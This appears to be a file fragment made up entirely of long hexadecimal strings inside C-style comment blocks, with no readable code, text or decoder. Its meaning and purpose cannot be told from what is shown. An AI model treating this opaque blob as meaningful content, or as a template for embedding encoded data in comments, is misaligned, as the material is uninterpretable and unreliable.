f14afd967face99dfc54c88f901ef7af77870eb39f39c433aa2e19ac38a9eb12501eb32913b3bc879467351ab322b670cc06e67f88b38d6d03a1eeea8813987c5db5ba5e42d806dd6805e2656dd49167530114e487884e073510df1c96983a56333dd39654ad7cc8afbb75b019f49d2354c8a65fc8487bc96affb9e1f2495524f591928cf33be083cb28d15faafd4e82827b38d487986b1a396dae96851b520a91e76a76f90ac140441d997f479e539b826bf877c640073f08b7ceb3be783d40d62370131a9338afbadaac89b8889e966280060bc2ecf9e290563cb7a0bba9de4d623383833b98101c22e9437f73b232c8334b5a53f7727c2b7e1219596233d3efd62fba2bfc16e3ff4a14b225bebaef53ce356761e85ea23cdce456589e454c1d759d476e611a0ea3ee7a1f43ee49869c8e9a4bcc96ca33ba7ed335f3029196dd8a6f4456bd228cd19c357a99b159eb28be833452e17b12d7c09b1f5d925a616d54a4e045d3c91654b295f98a07d352119c21dd9a5a287d937bd85689c77d02ab1f08e37ee5983fb4d083e080fe300e3f8cfc2d597497a73660859cd56677d0285a86a098de6c36521673518670e480cbeeaf0d520874dc8db57c979a75580d9ba47bc31b826e43e3c77eac0578cdb688dccf0ed3ef41e153130d03980610aac02124814919b955019055145d35fa5a50d4314167e587236c6e952f9d7188a39c1dc2c3a8b8033d*/
/*722048d372ace4c4422b4281e12f73b88c1ede205b91ac3ac075a192705c1051e1e31c5697fe8cce2c9601a5fe7e3346050b952be7e69c163b4e9c37ec44dc6d3bc18f0382683494d61da28b30adccf9a8b4702001be88a10cb38d6ac2eb306a118b786abcca7d43bc5977b975e435c850a4675fed19b0490ff1f39cb801427fa35d80de760c1f3bbbe8b91d1e348863f608f4e00cdc7253bd2db46e630a99a2ad220ef7b048bb8ad12d191a53ff4f024b207cf39750eda6f5fa1afdc65b8dcdca1f650b048c389e9e835342e585210e90bd65286c31e38b0bceeda9c68ebcb6ca289d5ec9d4798e2088d7093ee7ac526695909742cf0175d9d4377c112c843df514cbb049f389421bf8b31796285d4516e6d62244927b577e8f48440994d753739129ae0f90d782d1f660a6794f3e7b56d4c55af0829cab74136b4c4f10c64c83ae6c14f1a6a05b0b365db4780180adf05412fbd16fa579cd04533ad3a884c610aafa46ccc2d70042aaa5f894af9f12a21da36bbb2b1cf2713de40fab4b68df0409c6d060564578e96dc99190fb42ca4bf8e75ffa8af876f4140b1c791bfdbb32527e1f9aff0c6c086c063e23128840fc836074f57afa103a27370d4bfd52874a061115385dd2a7e22296d46d1879053fa65a95e7abde7ed266fcc5cb1cf68f67d131800333e55e82799ee9b158ff8db0a45f419cd90d363a599ed066890899ed25128aa7492d24b2991a19240f0f59d550300079aaaa860cd105875386d33c6e5acdec57a2fd5f369bda4755d3c355c716f3c91311248971407296f683b70cef41d7c263b4cde1508a8570093cb08e62ffc62f0b01dfd11f6d4860144387a53012015d9688e3e607668907cbc035b2a70b885e52640305d16aaa5910a609b06c9debb8c3cc280939d18839531463f2e60d0b1ebecfd9353824aa13c63f7e61078d0057df88ec28de5cc5fbf8ce43c25f5b7a355032ede87214a02fd2aa8d3904dbeecbbd4e8a73259ed48d8386b1408ada15e7f564237910cd9df4ea9c36414fdf6a4dec1e5bde53aa09c75aba589de4131b28ed4b8ba2f387a83ef2fe6373ae1a52448fcbd2389bb122ac5d6c6689862f1475625759c80656b2768cadd4f70da809bdc2d7c9db21452617094a93f7e810ecd5095b4eeedc211a4f386b145fc86c0fd650df0265c1ec7487c1915e46f4b5bbc03fe18576978cf485a9796af82a6a20fd59c6450cf8406115e3f1a1e0dfb452cfd5839001205c95b06f50fdc66af7f902c7441dde73812a185d5b6193d7bbaf7ba76e5e6ee150c5be6c42f13d52fea9f79f4729da5004eb9af7517fee7c86c7e18bd32dde72b27f89ae6c3dff07e44b8fedd86580e299fb7e7ecbf8b08400b1ada12b5fdcea30d601e09941e8f92c99af49dbfc6f94b6987381b22b584f86696b923bf3108f35163319ec3e91a7583ef006a886b953483b627a91170da61ff4634879109869fa5697e99272dfe747ec6dc36d172c6313b70589aa381012ff78892a28e6be9aad3730f6184f0405f53d03b678678ad439178842ea04c936c69b0288be0894d3fac2a922a8c2d48963c7f9b69f21ad0b5d143576131bf27572d25e66c04b0b9ec3a30ad6bdbe76de782a13ede7f2268a5e2a76a778b6fc665d3279827cf2222fa1cb213b1535724059030b8f8aeb5101a7c7616e3b8756507f526c6eab1d76994e8749de6b42fc6735685d1b75bda0efca1383239e80099ef46a342f80b2d75f5a3d45d93807dad21d24e8cdcd47e487329f8d01a58e4a87eaf47e06b2946f7783e15ca96b6bcb0c40b0c85e1caedf0b339ca55781dc5fd60d9f37ae31c33bc56267c44839966839464129922fcd4da0fefc7a0c9ab7f5f12bddc2cb4c9f4dc00a3d345508bcac162e31dd3995b9021377324fa4f99faf5ae8c520309f9dc946bd46962158550427b0f0a45dc27e2cbac82fc791ece619c4f69c16eeafa4036d7811cb2fba6f186856ea22961f3e730d9f4c172f5c6b7a1785ff8cc41d62c27a778beabc319179dd1407402e626dc9eba7f447a07b867c19c436ff2e55d465a51c5b26edb58d39be6af0d8fa0a215e68c957f464de121443d6327867b19161cc7b5ca7f07ffdeae10ad18db6305a0643b0918bd6d2e60e9dcfa5db000d4121836593eabbcfef0e53c50e589377b6904a1cf62d4563d7266127444fa3a37684d8dcf19634500103bd813143cfbd9d8c90a61325d1e3a358581408e05bb786da9f47baf0aa303916225b0bad6c485693bd49307842561c74da9316acdd9abad7801149a3ef32d1040ee39be93261b788abe9d4c8080266d300d8015fbe5d5bfde573ce4a77c3e430b61e7d92233049e1db5817cf2b69db782b414d7ea636e0f21013223cd5293b741904ae0c26e12ea5285c770a1eca90aa0e44fa20dabf1b869b5393b1cdb7e93aeb101784c63d4b735c6dca16093c8d241afd10c4d842962c67ad5049c78f2f9b140f8f5da46233c3fc96f7d8bdc59e0db8f7116ff255fb75fd512d155cb8a8ebb0f9806bf8905264f61ca86b1dddd407453cccd00c8ef535f839231554b76aead8291a8d9ae7c6966c1265c872918dc9d4c3d08d06d16051a84c92aa01880d58c466a50dc700715d4a99e330a37581916721ad0676ef59b47431b50908204672a62b93029ef0e7cbf70308b4aae0fd658298e2a925c0794c6efce9e147c2ea2b6ce8a7c461d0b9c8749244ff8e79207e8df0f5cb320693b6aa3e92a07ac03de9eb48879cbc96825cbbe5bdabae15f38e77b7435299b8bb6f6812e641eb6cfbce2144d59b2a8e187a6e1f282dc84265cf*/
/*dd23480567709cce637f57396f1498e0106be8e60b3777c26addd56511a169cebe53fcb8c8470cbdc3e23493933c6b0a9be43068d15db10bb2f75993578361ed0a8044ed79b402c4882e7623e9183a81e174f7c1031666e9b0cdd276f6fb892dce5566cbe8df6b7c15330d83ab9e13744683bce278c1dfc45f313529588ec7a7e5824cc2b5e2fde28121bf917cd7c67071657d2c32ab1f467ea11446243b2dbb0093ffe27bc873d504b22cb692d6a5f1d6fb6f84b3fd32a0282ab46c4c498d7811c7413785c182d3b1e3cf6808e87ba890f966d8a1857b82bfc9befec981ff7160a28685c24c5adcce693ee6c59c9d3ee59229ab81abc2fac2bb7df3ee3cde800b4ddcc2e35eea78f4038cc11c6d3a59ef4001ed6e09fa7731cf93da051d5fa5783dd292cdee30f3f9bd285453dc58fc922ffab9246bd6bd2cf37509a76750e4dde7038ddcb62fa657bf12aec801ccf2fb8e3bc353ed16cb80e80d5e2bffc589add74b3c778a3ba50709a8eb7e0498d8f76b134e361c322716e3bee6b364e040d0fbe82836b9240e825e158cda756d6d9b15ffae532f8730cfddf2d1f7903cdb75a5b1e908443666648cd10cfedd5d319bab4ac4f537f455dd006f10bc05d8f3b7c433e9033860759b53fb917e79b5deb8a3ca097a7e36c154317e0f81a62fcb66bc59f25ff87817ed2570ae15b3edaa4669d291c0ee1c4be3f391a9481f417cd9cbf705790985b285551ab69f66e13048ef0fe352dab1ea7f1b633cfa412cc87443739e36b3b07e9d748e43e2b41cb2eda30fc747e64f2176c0f9a3b8b1bd78a3d5b651aef2f61fb1209a04a918a8cda53a83cc783714f661ac26ba6f244d9251599f689c46bca1727d44c8101d1ce59032167651448dc0655923dd4fc2235896cb7cceccceed693f1f45894fdd515da1b38b496ee1b8793eb9fe75afc055c8cc29609bc3047c317e568ac7b2a9457858ed35bfee2dafbf6e5a81130a82729df69ebe2343d4e78d1f77f3f3fe721141ed47746c06eb656736f1ce3ce76780db8c4908c40d62c00a204d6ae9ad1301b3a8a6eb470c0ab3b9e6c97b3566cf503e089350974a015169a098c1e6fd2a923cc814a4006d4b5ea23d2023653f0208c6fe33e0b157bc34782c4a3f7861c96b398474dfef4c5f1f7ca6983ff44bae5e77342806df34430df5a12f243a10f453d64a578b7ab5470d15249117e3bed40c00041b198859a2762748ee337cc856bc79a2f44e68b37285bab156943e82ddb5147a6aac7c723c4a830130020227b66f403a81e1939d53e3062c4dc359324d813622e6fdc1d93f0f60a1fec6e49cdb5b104aa10706c2c903aa628d73405d535fb696dc734fefd44d7efd8ea5c0b5ac31b70d3c60d8be4ac681f1fa6b6002ca53ac28b4ba2119b0597f5c02ecacac6ca0017b52fbbf3e9c855a38f5ab22ae64ef61da78017f8e573426a87cf14a8d60d71c878c40d876b6b57290f5351671f6c16ea83e3cbb463c34b492e60e1ab5c212f3acfe0b259856e30d9236f16b70a1ded8a41d8b2a9bee028ec0589c7a030d6ecac1c75ebceb931fa6cb48482d35c50510cd4b1a6b9524035c403942423428a97deb3b81543ec9c0eb27b3229230aaf51e343bc7d708dbbf9138a639fd534da7144734f87525ed6bac9e647e80dc67f54433163aca29286e1fe88a3148ff844a75ea14494e2de8c1c538f14291743ab34d9d424fdea56f17d5d9b89fe1a5e2dc9cce4db11112ad31c2bd3b0d9feabbb5058d17a8525c13aece9ffaec677db5d067bb3757a9d3b73c16bb5e5ba62a67bf666786efca5577ab4a93c3d30c89b7f2f9d2c321d1ab9c02a8b50e27cd16907fda286601b0713b514233e33cf9ed91801d44517253430f1c918d3f56689008c17f4b33bf009bc5dcd7ba4c85e1ebe7b67e25fe0c866ca12d7d0c3d86644344e23c38189f94989215d0ba367c2b51419f8e51dceb21e7b99e916aba18f473964d986e4d89a1e6a775c20b37e61036f59c1e956f765381dbae5180d01091e09cdf5e1174611dfe97542fa5d0a00d81d012fa7865558a40778073685f0c11f2443d2b6ff1336d588f3b8f35684fbd5dca565fd2eb4faf07ca18b0f6a60ac0edc5924350a3183112993be52525545246ff395b9a37cbb220422fd59480a7bd2aff11a7e0d180da6b498c7d0ef932738aa1730f94aabbc7969826340e4da473ca198e1fcb98175034d671ff090ad6419b59e0c1595e4fdbb7ca7dadca566b5b1780f3cbcec5f17b89982fd9b7daabcf48eb36584dc822eb21a9d0217f0065186b66283ab651167facaf4b825ed1d71116452892bc2edaf18335e2c8b817710db61837fcb03c7ea469b083f7dd7bee87635b98c92e285270beb6899b3db641f0249adf8af801887d1bc11379da1984f02e9d63bd1cd243ed221788aa6b9c5283a92312f9d509b449e071f6091f36ed8885683e8b27661be8d8672b9c3984a2f31fce2ef8cd091fda379c5c0accd90bfa3c15d03adf550f6d8d8678fffd7e7cd0b98be4c4ffd919fa35da340f359e07711c040af6b7d3bc702df141026b2b3a5d1b6988bae75c7a780c0220196d5a67bb31c624aeb64f659ed46e84d3eefd706abe6ab24ffad3526ff1ce896e6566a793cb86fa1bb406a01c31d1061d018ee15b7d847a86843264ffc6c27f41a48e787f62015d3fcb16cbc10540dc40e9f07bd92e1a444200473f4eadebc1834157de4cf8198f7aac0e3c5b1375991881295e5c9037436b5b3dcd2ad2f89de70f32fe9054d1cae433da5f10c0e6eb3794459c2c25ef2078e7b138b7b56af5556923458f06021510*/
/*0c6bdd90a9c4ae292ea0fc6283e57d3659c9796c80a877b155cc67c9c939e9586bb325e7e5179e18772ae739ae4d947dbbd18c010f81f09740a7bf823d91b888a6ce65a542a1244502e5c474fd74f7d41814a090bdf4d0c71781c38deab2c875ef8d542719ec715d2ae8d752d2f015286bf042955947ae07a7ceab8a5f2a3998a4ca2035f486a7bfc148bc73eed1a11554d11bddbe003b8f2cd2efc119e262d4d212ebe97a82e9caf47fb5a76f5fbb98732415cfc35ca18050a68479bde17ee5abd85f51ab07cc7efffd40f1ad12cf5234172c188205fc1fda1c2e5452fe1b9a1d698376b6bbf6fcbb317354c13919c4442fa5d25d7d002b20ffe791f1ff770c7a0fcbac2dd5fd2953bec29830f250cfe6b0c3bd5a773eeb75e4e9750998b95ccfa8f83cc9b6d78b908464743e812cf74af841ffcb57e2e3402fb64077acdf8135b37823fe3ea4f7dd30bc35329e95cb3768abce967a6f0a96bde97d92ad53155d398a620c8663858142afc4cbd2d7df3d35f8bcca02215cf5f9e66a8019b2b00b75167a53d84d851fa6819d81ec28c61d01e89ae0071bfdcc5340c669257bb24fa13dac7771e64cca32848b8b4ec29335fd8273e56aba8198de6f6937e52a55d5c5c7f442340ecc758fd67d34c68b78597ac4bc73d62359e4665a12503a778d02b4ad40be77730380def1a953182db5248af1cd6bfc714e204829660fec5a5347ebab1c20126bfec631786861831d39bd45e5ee92ca9f24620399174bdb4764d69e267e2298a87c7bb2f7a1d03e824ccb3d0430408eb835260ed1f9b5aaadb6ad12aa1ba998e137b146cb1c563efe4d0c9f0aeef15de70c3a9ba05ca67f6a79e2a9146616a125d30940d85fd1dc4e52d0fdabef6cf6773d41d7bc2439040c78fc34498bd0817ee9a20df39e53114491aede4d1377d9f1537fe653ea2cbcb1444c99bdd40ec5169357465b36f45b49d44645efb0a2a4c8947fd096176ec0a889be89bc62983703e8bbc35b54617228e25ca5406acf94013d416b02824fbaed8fae0ed0af7894b1aa76cb1b20fdcd0a2e8975186dcb6359465fe5c5c6ba398b00528f27cc5183515aa25cbd8cc162c6b74392144d6ab11ead49055f7b18c1209d6cc2758229e1e3b4d5631dc0b56adecb3eb80e32e3904a9d1aa7a4ec49276ee7a3d30303d14f1d6362f041daf84f7dc4b7ee606ca72f3088d318b860ac1893e4aa77a180e62a4f852153cf1763fab31e684d021fcc2a696c509dda726a61186d395a04462ef4bd841a515e2cbcf5ec7b6b97b89e7b8acce0b0ac908af58f238e61773b629676c16fde908931b090d53989aaf5b7481c944d14ca376e64d1f6eb2af6d3ffbc2886c6ec101814e13918a55989fb132b9e6bcd2032e67da62ae5109ba12b3ca22b31f4164b9bc9a9c9db5d53205bce3f0024415c2f7482a3a95b486d3addce0e5200621ced14116431ab92ad7264d64c1c2165c89aba7d033ed1b0d8209fdd61b6f21b04756cd8802ef1090b24e388cd881f56713cbeb3f7664e82baa7aff15b22fbd52203eb113b0625281cffebbcac6bef4163cabce50d992caa59dd0b66b473b473db96fed1595624f6d18ac9c6194a49853ebb0890cfeeabd90742f46ba0f27623b3affdcaf8758d96badf921ac67edb3e20d9dcb043734d60a827f94869b55de13774ade274e59e68cfd980a0f5f8e845134c5cb34b23c665bbcc2dd23289f3411f175692416af76be24d8bd936974ad11fe3e8102cc6a184d0e8201151fc08ca053e63bcb6986441a7cb03285e4c33ac09cd3ef5ab0631abb42e9e4eb654224fdcd814191b86e69c722168c30aa9229697f01ed71f7e43923675fbaa9f07a5650ed43add754318da8cdea5d91a4f5d79e20f6dd0976776e8416aeaf3d4cac6fae4037da2b58646e490e1dd5cadbdf80569bc1fb849431ba87de6a83c46866377445db9b7dcb60646e5c2024e1f6405a09a0f74f8963eb37020e76287eaa873a0a69a5addb8c57f7b4f858cb951f19d85b5db6d06120a5d9ae3888da76a0553532106fc6c34218e5025fbab7849f82f233fa93d6f8c8648384297bb7222afe9c52ce4083f143d32be9ab84ca9ceef64582589abe2945807270eee6fb0ed4b6b469b096ff6ee11815b2d36132c6286bb5832acc9f046e5fa6df924ce967de66cc59ef4b737bd1fae2090701661fe9e6c52c5c7959ae1cef553631da8d42730b4dd6c14f71639821e21cee086a9cbb88f5ada030f62599ec395c4ccd556323154ce2da7f1124309081484f4c6a990951f9a1547b3ebd1bae89a769a1f1c05d482d4f4806b16b3d42bccfb7057a967fdd7be580f60183c4eab9fa3ca5769c50ed83230a044e4875bb65683a9b13cf29a4fe5f24d6fa75a7e3f71a21525e0d1987854b3f4a6287d6c8c6fab5a622ad430b7756dc916546534923d328a2d5cef07765bc02b12ea946c1825d862137cd5a579915c5733277b4a54e485159271cd63b9da6b6fe97e018d61628dcdf63f77355d28756567477203a2a12d7bc2ba8ea9a179e3252ca720962024fee9271f3d21b39f1762cb24d57f3320661e9c6832befebacf8c2ee74725c095d71e4f79c70ced62d8763ebb2a830bd9702f8ff888e6fab8b8529015d66246c295b4517388d6e662c66b86433b87c59e58b23f22609800a19f6ff4bdc3f9533511afe1aa61edd466c706ce5c0308da5b11ea90175d46ec0b99376900f7ebb221f6a23f1f9dc770a9225e080d5fe4dfa1e40650706728e2de6a60ce11f37ec19d26428e24d812de74936908eae611c6da9d84cbe634458a28c632960ac5dbf9b0*/
/*546d8ce24e1405fe698d7c3dfc274e15e4b1b5f30adf9c2ef038ec6948a3e4fed1e6f0a6ab4fd295e7abb4ca0163a59c1e6ba08cd18295137495361529a13df7d6172b46ccc733ee9fc35c49f996d41050bdf83b9f500b7fb1748c96b831f125d27fff15199940f9f2288fe13d6eca35e910746c6cbe415b52c2467f989717ef7e4f8367c0ee24c259f91dad0fdb5118634d9b4aa4d1f204729c4fc883cb11085f964787261e01fb97ba6628a8df179c2716915f0761041c30c840892f60125ad146df3bd81c6a4ac0c5fcd7b565f053d27fe6a6f130169f78a4fe5f8944fb28f42adc1e3293cd13553b8cfa0d448a1597f88ca63e183e08a52e92842a323a43edbacf96cb2feac47adad8a151f2b4c59bbc614a427a5408ed7cab13e1df505be4e5ef255a67fe52f3bf1b9334d6062f4ccfd34bff540124c6eb3c341397fdf9044deb2fbf4d4911d54c4ec3020d971d9c0b0386ee2598f134ee4d1bb27a30bd2d09e6b9ee0e34f75d692cb281bfec223318dc52b7c891c16c646eed6c1c86ffdc909423463fa6d358c3113915055ed02e6b64f9f8251fc98403d4de504c039ee85790cc4f61bea07711792dc3a807b5568145797e7b598a6fecde1de6957826e421a4c8624d30f81bec3aee43e01d292ab8479ea4130c27345db0f795bcee740cf5cb25403c34af9220820cde3fa21248eeff7df002e8f279ae4df531d00dbaa61db798bb1a359acd7291dbe0d9be8f8a84094e78bdc01ca76835dbc915845a1b67cfa08e1af51a9f8c5fd489438b2cae6c791c98e25f38982a11e572e83a635201b5c65c250c97191c6d700e9bb32a5cab893767bda7375da6360e678c52cc5a97a69371a78694fbca5156b5c093cc7472283e82efafe3165abc51433500cf554114c69dcba9f91373d30add4ae0d180968d8df5266a361c9211a0fa1962e8e4c1e990fec71f49e3c17ed11bf256178aa52127174b48f7da908162a6b9d041cd6c9978b8444a6efcfe963f6e557bf4713d8c3d0e67217fef0f8197d66e8b2fd237275ddcadf851cfd28f53a6a6c7bd66ce2e4abbb1fca88a45907828d1967e191d29d9795e1c68c8bf9543a49a49b4fee3c1b0e6b5c0f9ba8c225dd36362f7a122b62cea83a50b0bf005c65344c362c2d8a3b1d321cc909d843f4097dfe0b67ab3325e9111e5d5f46a71d125ac4407cee1dbfaca18c0dfa04a074fe654dcf7a9e9d4ae775cb6b572f5f46c3e734f18bd16191f0d5e45cd5c2e93a536e4686d0936ffba8b69ebc9e052b67491ee54d73cb70b342ce0c8ba83ac8b16722d1b72eb3a51e5c1a49599930d35ace4909d520775f69725b2de508480d66ffad1b576472608d25f3c3e4387fb2685477f1e85cf639620c2ad94eb8aeeab5564ce9017037ff466f7640d080463658f1bcd3409809b48cb1941d9419ce5eac19b104550626496cae437a49e92c8eb4a1e88ea58ff4cdcf9d45ef571fc08dde09308613ca323097c5993f11ac9a3625135580dba2996789ccd17408f9d28cef558643061f3542c84589127edb7e3f9172b1c6eebf3a7a4bff04dea7c88e6af0957798fd2f6eed3b93a6a8f63f4595f19111324ed33d8039149737d3a2e8c85731e6480a0a5208fd5ac8fad0cb769a86cfe3a5493214db985dd54cf92e211d324b6179f052f0ec8653f8acd5639386ac9efedabfd1f6365edd2281bb761b71634b2316ed1ef1e9826f9681c0a60fce2323ac940427b54a58120e88eefe05640a298672b5c600cffef47aa0e45951365b7c39a4cc3a188ad57da178b2305a61227e4fa8b659afc8bf4c57a218ecad7e55c81294185e04419a703c82321a10c2f4daa7bbdd0151150d70f23fcdfe907fd1db1f147f8f7ae0a94dcf9bfc388f28e4a702dcce0cb296ba6aefa583cc85fe844fff08d4f6699cc9e932f4d09d2ed74cd825609cb8de4877a5aa97175ef6b4cbda4cee00a78f23675d1644348840db7be3946f9f5cc43330231d0ab14171c8118647e39a2cc7e5a9f71c97baa29e62161a0707f48f69b85a496e6465e4ecc6390459b51e8261ad76308e2a3dae174d0689526baacd1d48c50a31848e32f776d8f0190c6631ddb127214e3276ceb374b953789931facc54726b36b8ea3ab20de0f2753215481f5c287bfcd66b2b262a7c9a2c412e8861e2dbbc935d6fb3455f3a0b87eaf536e52c95d5c887a7ef38c31684663cdb01357aa257440d40fbc32f0cc8778b217f457fdc34df2f395b5c4cb2d554b8f25b4f10cbd14495824eca692576646d4e82c4b20674839438d9ffa56bcca9cff03fd00cfc4094b3ed388b4a053ee835cd2c8230b5624ceb4e1882af874c15b4f6c924f01546b42782a01fc668c516ad51ab1e46d67eb56baed4f024f1aa8f858643820d5971b015cc02d0f6715a3c2922806493d5f77f7306f72aaebbd13a2edeb400f36972fc09106b57ab209b62fed3a90126ee135a5ad831c0285252c1ec01c5c13b23200e4c4fe81cf4fcb6d264376bdccab2a89bce8b84d77587cc6126b07dae555fb6be31a518dcab225cbfccbe53d37bb572d40b862cb6c8182dbbbd2616b765a2dbcb8a18103d0aa0e1c04f2edf50927102fea6096a77cb85c72e59f8b4f56a249545ce83e15dce21e117a9f7bbbe8c6b7e7925d8b691d2713312d39d2bcfa37815ac5e0a44db0a517b83c3e56c34ce6d49d834c49e387e6e3f2b5c6b8f1e8909d76a90a84d00dc87b2759923cefd5c8ef5767736081bd5f15a02c91640d40a76e7e939dbeffd644228769b32e199a919dc5c7202bfbd380eb12e4b52fcf4146eb66116d71aad57d6462349bda*/
/*31a9c2f4385007bc65eac57c76943e5c8d3527eb340182df5fdac080b369d2c90a27d9748104b1a66953f32bb8109037c1ae7fe499b788de68d8bd86f8b7d47bf50d69b188797a18da4cde9373b6038fd53f1bb6898cccf32bdaabba6a6adc574b5638d97046d53d836754b8d614b8e4b49fa9344de16fbae85b61a8c2fe057a50befe48501c2924d6901a3abdb7a85202dd05a7f6ab86ae9d662f15d071f30987cdfe8b9c550ac749b8f51a38d99e2fa66134bc8867252a7fe40f1c3d5d5fbadebc0ad3f0863769967af1b46122a9df391fdd4122eb6b966e2122bd785cc16eba81acdd4f101cef06d6691e4468350aa4a975de415df3977afd24d09452bb5f94fe8645ec38257b6e894908369f3305779875ac5f017858db4bc3f3765aba679d4722e16bfc2379c506bb49f59f7b6b0d61a00ffe22c2d599e577b51579aa8c339a16956d16481e6a94abdb60894d8a3fce2e817a4b4cad87aec081995b3823ef7175ad9401580bffa09f92a9cf68678e7c1099d8158e9e0d2b5824a67a392e4f549210b018726417dbc297b9530e09d17b78873a7db0f8d7298895c27299801d661026305660db68052a95e9ad8c6369facdf02f3a4670ddf7815286d7e0b52c1180d898b4364023d9c9e236c24c1d057b8b177b4cb97c7a88e899e9fbc159ef81fc98e49bce732afa2ed83f47d0359f0b4d2365cc151716d14fb7a5502ab13cf2257438d356ba0458ab4a0f8c6dca469ff101852999b022b860d4006e7c462fbc892a9f1b733066587ed96f12ac169094d720852774f6b2cbe7b57b5798bea5abfaa1652458e07635bced5f213399a13ee12be973570d9dde3b4041429c104be0c8930cf064d4e7c2664fbb332daa15902554e46db8bcb0e73e9dde265d8e3fdcbe77885439ef09456a566df4df227dc5cd48ba25f78475598bceed2e8489bddaa26599fa63c47c73281b464d2e7457e172a974a068c6c3d65e34788060c0089d0d45fe1b8a378ec98ac32dddc8f63859b9f877b034da01bcf1f540dfc2fd7a2aa08fac122d01c41d9350f8d5f2038ce17794f0a5675141c981bda8f401fa115141844eab408836b748fd8599a09692d8ebbc559fc8b1e995214f90aaa4ba2af04a0c466098593a57198327dfc66b93e80340fd805a5ca0d80acc9b98fe139f3f2ca32a902f22a40222433127cc1deba7a702b845179019c4ddaf10ec91a71e34f5fd927c27758eabd90bdf22dee77494c8de1a4f2800da88bc3003947009843e4486b40ed1dec05d9e5f7bc875e7e3efdadf25efa7e27a933ccbb4da532edce8abab60de13251d40229e4f2c31bc0b4815b099a997691777f502529ac5b928aa1e3de8ea4ef5c64973fea8ad32b3e87c7539d5dbcc882fd8bc46ed6178e9d050177d031f66623a72858fc902ca3975d4e167fc92d85c32ed3c4fed6680ce5e1f62b122424eaa0b5803327f8eb89b1a2e4d0523f72f8d726707d6a29be4344fececaf769415613405d8e28693d44b9b7c4c37fac9597cce4d5845b0c0e549f8b97dad74711525e64b1d8d6f3c45d9cfe79e00e1ba6156875da6a968de639fc2ea2c8771079f87da7cd52c9e76560b6c8cddaaad9fd5ba269c0ae28e653ab721cfa361974ba2797f93e985369f0dad3a8b39143f786a4dac62628f104c193973befba2506aca6a3be3417357ec3b974f6cdf871389cb7d33769a83ca01073ee367a74b732d035ac5de777a19b05259cb246e108e683568d45c6a871b88d33b87b292ff948858048b10ffc8adc8dcc7a6dcd6922fe7ba101caa51bf6e2510f90408ea7a1b8c10879b2dd3e8053bff7b388dedda90fed0bde92a6d4cad75fc42767e5fc7f603253882f8ee91333c880690b37c818896332b6ecd292b20c76e5c183f8d7f8a7f10ed46853e2e1e7bcc27090be1867a4bb4ed2395c03eeecfb2d122f04ec0a9e174954c2ed46a4700ddecda9d5f7db01e2e426c4abde7dc6e7f9402ec3d7b2a3fad2f5c2476dbeeffe170115115f09f22b1eb93e94410b2bb415cfd666f21e44b3c8d3369ba68811bd69779167c71d3de57176e449b136b9770d5fd1fa5221b366b8756f88b8d4b54e1c7e5edc932b2fb6443c1ab944c8515502f093723e14e4b2d24d74b301eec25b448935e276bdfc36881343b4fa11598570dbb8ae16b1c5557d83e67ef85574919f151abfd106492f97fc567f65867aa73a5bf2b4290e93e5170bee5f70bc5083a8424a3519fff05959f35c862b36f0a49df2c58c6ec3254d3972adf9bc1dce09f19b8e96995722cba5e3b545bc05222401dcfb2b21a05d77469046849f6ab043287d18e1d4ccec9ccd2d03a387e133a9e86794732be59df7fc54dccac541adc0ed1743a907b4b1bb27594e73d8eb53a309faf6389996228fbfb0e653f37323bc736ea6ca5bd713bc3d90863bd5eb08a365b3c10c1c1aacf0f5edc9f6d2d6efa3f0306f466362130ec143fba9030d1b2a30e2c8e2327e660e8ad20a17a50f6c7fcda1479831aefc69e2f09a8b60f48b27b7ee57a6547b08d3c5e673afdf923cfee5511c87ace759af60a26a2d617c4418fc5de8b90d2b43a98a44ac188d302837eea322315fb158bddde704c00841217627b908b6a63ae5b09de9e9489ebb2289afc3a6db6a1f791cbcc323140d06aac967e02656b9b770003a65a49ef2b390afe33cb7166c9429551ec0949f7cfe32234ff14926cb01a9310d19c70566352498c2d3035d61cee2bc6cad3514ce1cecf25fd4e1f209b5923fd01394dc5b5bf31e8528c41b264a44fddd760b31a4253a9c9a875f975caad5501086e7ad07f34f99b6d*/
/*273be05bd62639d22749bf9f4fdf8515cbcc37238cd22b0395102b11ae01bd9708f8c1f7b250c9062d02e041567f5458c244bc209591cccfcf2cdbb896d5b0aa65d8a7440400044a3f0933d7871efad3901f7d20faa0f9308ed8bf46690b6efdb723608f45245ced1f301d59465702a011af64f13e97675ba0ba45a65b91a853bc8180b57567a5c8d50529c9f9b40fffa9e32c4ee812df789da8b8064563404a7300e527d390e44db2a53790bb333bb1fb5ad9b45bc31d26b62a6f4516d6646d36c7890317ad88db6383e84147b5cb5e76206a8fc72b51a7e7ba1864364f8e274c8f2f51c3029b41ce5a162b444a348c4259974e52a23e37440ea57e17e1f31c0772e4d17eb98961bfe3c5c86c84972134e64f7732a4f4d3b03405c0ffd961aa79aeb5054da70e6eac340b86a687b2bf443404cea46a08f3dcb6cfb71cab411012594f20f94457057af75f3b693d4531559a97198d52dc0301f010e527c297732bd7a71b1bf11923041d9a70926a5c5224da8ae45187cfe63bd19decee1baa21d9fa51c64770dae5bb23a2c52688c39ecd0b72fe6103d666d93405a4398466d0a5d54cff550484392d70c9fee56585d6638c514f1615040aa8ac639cf4368f6495a8c61ac23bd069d91014bde938b242dcb8643bdbae92f1c5fc7afa072da7508f7649e65c5222693cf8f9485fe9331d647939200b19981deed5895e3107aa7ad0d88846d1d907873a854f6e3268c1ec741bb4e099ef371095374a848784f20df6404c805898cba740d7a98ed013ce5d96d7b2236327016fa95d2bc65c3040263386701a1fedee59a43dd7c24056e18be33956c0d6c771186736b0231e021a7887055025de57c33145d054bd0664c15ae814a9c0a0e37ea0608672f2e4611b68fe7b790e260f70170aa985bab2bdfc7e96794181f7341dcd74c5087789106ec77d2944f4fc368612ff3b8938615145d05ef393a2b906f783f45705c3a78033729745abef426f3190111d5c8ddb6ec6daef0ad1fb608f7d2bc74584fd292b0bd5b7429294217303aeaf72edbe1bfb6e3f37e7f8a78d73fdc6b8b04e31eb04541045bebb2f5111d6c3d589cd84c1900c36ef016953cfb35caed0c75dd032452d99db4883a8929ce35204923b38ccc9b3483daf08a793389ba42e5ff09108a4477b9aa78fd3c2b82c589e5d152bce7ea35defbd2026bf2eaf2d2f589c499a9c973c5e53ffe9355c91b5bf2d48166107e49d4aeacc44564927f397468f6240c78339eb2ee70157710ec2d9f7b337291ebc53312f7e0f172e8549ca9d16e7592b0bbf2a8415d460ef60d2c00b6a3fb16ead4a47a3e07f8cd8630d4cb476037e762f5416a8f48d2ac8bf189f48eca7c325f86d85b0c8f1bc6941cfe034c7039db461e63db49fae6222968a9f251fa619a2c4eff05bdf6feb94dc37a98a4df122c5e0cb5e0eef4386bd390de43a